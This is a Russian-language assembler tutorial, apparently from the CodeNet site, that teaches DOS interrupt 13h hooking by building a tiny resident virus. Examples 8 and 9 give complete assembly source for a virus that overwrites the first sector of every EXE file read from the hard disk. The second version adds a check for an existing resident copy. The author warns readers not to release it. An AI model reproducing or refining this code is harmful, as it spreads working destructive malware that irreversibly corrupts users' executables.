CodeNet / Языки программирования / Ассемблер / "Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
-----------------------------------------------------------¬ ¦ пример 7 ¦: L----------------------------------------------------------- ;------------------------------------------------------------¬ ; заготавливаем входные параметры для п/п-ы обработки INT 13h¦: ;------------------------------------------------------------- MOV AH, 02 ; признак операции: читать MOV AL, 01 ; сколько секторов читать: 1 сектор MOV CH, 00 ; цилиндр: 0-¬ MOV CL, 01 ; сектор : 1-+-координаты MBR-"винчестера" MOV DH, 00 ; сторона: 0-- (см. объяснение выше) MOV DL, 80h ; дисковод: HDD MOV BX,OFFSET bufferIO ; ---офсет---¬ буфер ---¬ т.е. в какое PUSH CS ; --¬ +-вво- +- место в ОЗУ POP ES ; --+сегмент-- да/вывода -- надо читать ; данный сектор ;-------------------------------------------------------¬ ; даем вызов п/п-ы чтения сектора ¦: ;-------------------------------------------------------- INT 13h ;-------------------------------------------------------¬ ; анализируем результаты вызова п/п-ы чтения секта ¦: ;-------------------------------------------------------- JNC no_errors ; если CF=0 (ошибок нет) -- едем дальше CALL errors_treatment ; если же CF=1 (произошла ошибка), вызываем ; процедуру обработки ошибки no_errors: ; если ошибок нет, то по адресу ES:BX в ОЗУ ; мы найдем прочитанный сектор с координатами ; цилиндр=0, сектор=1, сторона=0 (дисковод HDD), ; т.е. - MBR-"винчестера" Наш примитивный вирус будет заражать определенный файл, когда его рези- дентная часть обнаружит, что этот файл считывается с HDD в оперативку. Испол- няемые программы считываются в ОЗУ, как правило, в момент запуска на выполне- ние, => заражение будет происходить в момент перед запуском. Отметим, что за- ражение произойдет и в случае простого просмотра файла (например - программой wpview.exe - при нажатии F3). Возникает вопрос: как наш резидент узнАет, что считывается именно исполняемый файл и -- как он сможет записать свой код в тело файла? При помощи обработки по-своему прерывания 13h. Любой EXE-файл (ТОЛЬКО ТАКИЕ ФАЙЛЫ БУДЕТ ПОРАЖАТЬ НАШ ВИРУС) начинается со специального заголовка (и о нем мы поговорим). А этот заголовок непременно начинается с сигнатуры MZ (признак .EXE файла). Процесс считывания файла с HDD начинается с чтения сектора (или группы секторов), с которых файл начинается, в определенный буфер ввода/вывода. Пос- ле завершения этой первой операции считывания в буфере ввода/вывода будет храниться начало файла и первые два байта будут говорить- с EXE- или не с EXE-файлом мы имеем дело. Конечно же -- Вы совершенно верно догадались, что об этом наш вирус сможет узнать, перехватывая и по-своему обрабатывая преры- вание 13h. Получается что резидент должен следить за чтением каждой группы секторов и каждый раз залезать в буфер ввода/вывода. Если в начале буфера ввода/вывода сидит MZ, то активизируется специальная п/п-ма вируса -- вирус заражает файл. Теперь - внимание! - когда резидент обнаружит, что считалось начало EXE- файла, у него (резидента) будет ПОЛНАЯ информация о том, в каком месте на HDD лежит это начало, - ибо после считывания секторов входные параметры п/п-мы обработки прерывания 13h ОСТАЮТСЯ ТЕМИ ЖЕ (портится кажется только регистр AH) Следовательно, чтобы "заразить" файл - нужно лишь дать прерывание 13h со входными параметрами, оставшимися от предыдущей операции считывания. Нужно также лишь изменить значение AH с 02(чтение) на 03(запись) и переопределить адрес буфера ввода-вывода (ES:BX) на свой сегмент кода. И - все! Вот текст вируса (коментарии см. ниже): -----------------------------------------------------------¬ ¦ пример 8 ¦: L----------------------------------------------------------- TITLE Это - COM. программа N8 -- первый вирус (заражает ЕХЕ-файл) ASSUME CS:CodeSegment ;----------------------------------------------------------------------------- CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 13 ; ; на инициализирующую часть ; saved_int13: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 13 -- ; ; -- 2 слова) ; ; ;-----------наша п/п-а обработки прерывания 13-----------------¬ int13_treater:;¦ ¦ PUSH AX ;-¬ ¦ PUSH BX ; +-сохраняем регистры,которые ¦ PUSH ES ;-- мы возможно испортим ¦ CMP AH,02 ;происходит чтение? нет -- слу-¦ JNE no_reading ; чай нас не интересует, -- мы¦ ; ; глубоко разочаровались и пре- ; ; кращаем дальнейшую обработку¦ ; ¦ PUSHF ;даем санкцию на чтение сектора¦ CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦ ; ;(исходный обработчик) int13 ¦ ; ¦ ; ¦ CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦ JNE no_EXE_file ; нет -- случай нас не интере-¦ ; ; сует, прекращаем дальнейшую ¦ ; ; обработку ¦ ; ; ¦ ; ;Ага ! -- вот и жертва !!! ¦ MOV AX,0301h ;будем писать на HDD 1 сектор ¦ MOV BX,OFFSET head ;--T--будем записывать себя ¦ PUSH CS ; ¦ ¦ POP ES ;--- ¦ ; ; ¦ no_reading: PUSHF ;операция заражения или (если ¦ CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦ no_EXE_file: POP ES ;-¬возврата управления обработ-¦ POP BX ; ¦чику INT 13h ¦ POP AX ;-+----восстанавливаем регистры¦ IRET ; которые мы ¦ ;¦ ; использовали ¦ ;L-------------------------------------------------------------- ; ;-----------инициализирующая часть-----------------------------¬ ;¦ (здесь мы сажаем резидент) ¦ ;¦ ¦ initial: XOR DX,DX ; ---¬ ¦ MOV DS,DX ; ---+--> DS = 0 ¦ ; ¦ MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦ MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦ MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦ MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦ ; ¦ ; ¦ CLI ;запрещаем прерывания ¦ MOV AX,OFFSET int13_treater ; ¦ MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦ PUSH CS ; адрес нашего обработчика ¦ POP AX ; прерывания 13 ¦ MOV word ptr DS:[13h*4+2],AX ; ¦ STI ;разрешаем прерывания ¦ ; ¦ ; ¦ MOV DX,OFFSET rezident_end+1 ;DX пе- ред началом работы сохраняем их, а в конце -- восстанавливаем. При обработке прерывания первым делом проверяем читаются ли сектора (нас интересует только чтение) и, если нет -- возвращаем управление исходному об- работчику INT 13h и на этом -- все. Если сектора читаются, мы позволяем исходному обработчику INT 13h прочи- тать их (команда CALL) и предоставить нам дополнительную информацию к размыш- лению. После того, как исходный обработчик INT 13h прочитал сектора -- проверя- ем -- началось ли чтение ЕХЕ-файла (первые два байта в буфере = "MZ". Кстати -- операнд команды сравнения будет 5A4Dh="ZM", а не "MZ" -- ибо сначала идет младший байт, а потом -- старший). Если читается не начало ЕХЕ-файла, а что-то другое -- свертываем нашу деятельность (восстанавливаем испорченные регистры и делаем IRET). Если же буфер начинается с "MZ", то -- мы заразим файл. Для этого изме- ним AX: AH = 03(режим записи), AL = 1(записать 1 сектор). Изменим также коор- динаты буфера ввода/вывода -- настроим его на код вируса ES = CS, BX = OFFSET head. При этом все остальные параметры операции (куда записывать) мы унасле- дуем от предыдущей процедуры чтения. Мы записываем в начало файла-жертвы один сектор, т.к. наш вирус занимает всего 82 байта - рекорд! Ну вот, откомпилируйте и можете поиграть с программой. Только не взду- майте выпустить этот варварский вирус в "открытый космос". Во-первых он дале- ко не пойдет, ибо очень быстро себя выдаст (зараженные программы не работа- ют), во-вторых -- это просто дурной тон. Для обеспечения минимального уровня безопасности экспериментируйте в Volcov Comander-e и своевременно изгоните вирус из оперативки. Вьювер у вас тоже не должен быть ЕХЕ-файлом! Ни в коем случае не запускайте никаких иных файлов кроме выбранных в качестве жертвы. И вирус будет абсолютно ручным. Возможен один прикол -- уже зараженный (следо- вательно - необратимо грохнутый) файл выполняется как нормальный. Это связано с кэшированием. ПосмотрИте на этот файл (вьювер должен быть СОМ-файлом!) -- и Вы увидите, что он заражен. Этот вирус не проверяет длину заражаемого файла. Если он заразит ЕХЕ-файл размером более 64 Кб, то при последующем запуске такой файл вовсе не будет загружен (системный загрузчик выдаст сообщение об ошибке: File too big to fit in memory). У вируса есть еще один серьезный недостаток: он не проверяет, имеется ли уже в памяти PC его резидентная копия. => каждый раз при зарпуске зараженной программы будет возникать новый резидент. Будет сильно расходоваться опера- тивка и замедляться работа PC. Давайте исправим этот недостаток, - научим вирус определять, есть ли в ОЗУ его резидентная копия. Это очень просто, - нужно лишь проанализировать с чего начинается п/п-ма, на которую указывает адрес из таблицы векторов. Вот как это будет: -----------------------------------------------------------¬ ¦ пример 9 ¦: L----------------------------------------------------------- TITLE Это - COM. программа N9 -- первый вирус (модификация) ASSUME CS:CodeSegment ;----------------------------------------------------------------------------- CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP initial ; перепрыгнем через данные ; ; и наш обработчик прер-я 13 ; ; на инициализирующую часть ; saved_int13: DD 0 ; данные (хранилище для ; ; адреса стандартного обра- ; ; ботчика прерывания 13 -- ; ; -- 2 слова) ; ; ;-----------наша п/п-а обработки прерывания 13-----------------¬ int13_treater:;¦ ; ¦ PUSH AX ;-¬ ¦ PUSH BX ; +-сохраняем регистры,которые ¦ PUSH ES ;-- мы возможно испортим ¦ CMP AH,02 ;происходит чтение? нет -- слу-¦ JNE no_reading ; чай нас не интересует, -- мы¦ ; ; глубоко разочаровались и пре- ; ; кращаем дальнейшую обработку¦ ; ; ¦ PUSHF ;даем санкцию на чтение сектора¦ CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦ ; ;(исходный обработчик) int13 ¦ ; ; ¦ ; ; ¦ CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦ JNE no_EXE_file ; нет -- случай нас не интере-¦ ; ; сует, прекращаем дальнейшую ¦ ; ; обработку ¦ ; ; ¦ ; ;Ага ! -- вот и жертва !!! ¦ MOV AX,0301h ;будем писать на HDD 1 сектор ¦ MOV BX,OFFSET head ;--T--будем записывать себя ¦ PUSH CS ; ¦ ¦ POP ES ;--- ¦ no_reading: PUSHF ;операция заражения или (если ¦ CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦ no_EXE_file: POP ES ;-¬возврата управления обработ-¦ POP BX ; ¦чику INT 13h ¦ POP AX ;-+----восстанавливаем регистры¦ IRET ; которые мы ¦ ;¦ ; использовали ¦ ;L-------------------------------------------------------------- ; ;-----------инициализирующая часть-----------------------------¬ ;¦ (здесь мы сажаем резидент) ¦ ;¦ ; ¦ initial: XOR DX,DX ; здесь мы анализируем, не явля-¦ MOV DS,DX ; ется ли первый из цепочки об- ¦ MOV BX,DS:[13h*4] ; работчиков прерывания 13 п/п- ¦ MOV ES,DS:[13h*4+2] ; -мой нашего вируса. ¦ CMP word ptr ES:[BX ],5350h ; (5350h,8006h,02FCh -- коды ¦ JNE make_me_TSR ; группы команд PUSH AX,PUSH BX,¦ CMP word ptr ES:[BX+2],8006h ; PUSH ES,CMP AH,02; сначала ¦ JNE make_me_TSR ; младший байт, - потом - стар- ¦ CMP word ptr ES:[BX+4],02FCh ; ший). Если вирус опознал себя,¦ JE I_am_TSR_already ; -- резидент не сажается ¦ ; ; ¦ ; ; ¦ make_me_TSR: MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦ MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦ MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦ MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦ ; ; ¦ ; ; ¦ CLI ;запрещаем прерывания ¦ MOV AX,OFFSET int13_treater ; ¦ MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦ PUSH CS ; адрес нашего обработчика ¦ POP AX ; прерывания 13 ¦ MOV word ptr DS:[13h*4+2],AX ; ¦ STI ;разрешаем прерывания ¦ ; ; ¦ ; ; ¦ ; ; ¦ MOV DX,OFFSET rezident_end+1 ;DX---+ MOV DS,DX Этот фрагмент анализирует, не лижит ли по ад-¦ MOV BX,DS:[13h*4] ресу, лежащему по адресу 0000:004Eh, наш ¦ MOV ES,DS:[13h*4+2] вирус. И если он там действительно есть, -- ¦ CMP word ptr ES:[BX ],5350h джамп на метку I_am_TSR_already (обычный вы- ¦ JNE make_me_TSR ход в DOS). Этот фрагмент обошелся нам в ¦ CMP word ptr ES:[BX+2],8006h 32 байта (чудовищная роскошь). Можно сделать ¦ JNE make_me_TSR иначе - намного экономичнее - при посадке ре-¦ CMP word ptr ES:[BX+4],02FCh зидента установить флажок где-нибудь на млад-L--JE I_am_TSR_already ших адресах ОЗУ, и потом, при каждом новом за- пуске, проверять его. Чтобы выбрать свободную ячейку памяти на младших адресах - бегло просмотрите структуру области данных BIOS. Информацию Вы найдете в /4/ (литература) или в /4/ (инструменты). Ну вот, Вы уже кое-что узнали. Начало скромное но многообещающее. На этом позвольте прикончить главу.